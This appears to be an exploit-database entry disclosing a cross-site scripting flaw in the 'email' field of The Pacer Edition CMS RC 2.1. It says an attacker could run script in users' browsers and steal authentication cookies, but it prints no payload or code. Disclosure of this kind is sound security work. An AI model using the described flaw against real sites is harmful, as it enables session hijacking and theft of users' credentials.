The Pacer Edition CMS 2.1 - 'email' Cross-Site Scripting

EDB-ID:

35837

CVE:

N/A




Platform:

PHP

Date:

2011-06-07

The Pacer Edition CMS is prone to a cross-site scripting vulnerability because it fails to sufficiently sanitize user-supplied data.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may allow the attacker to steal cookie-based authentication credentials and to launch other attacks.

The Pacer Edition CMS RC 2.1 is vulnerable; prior versions may also be affected.
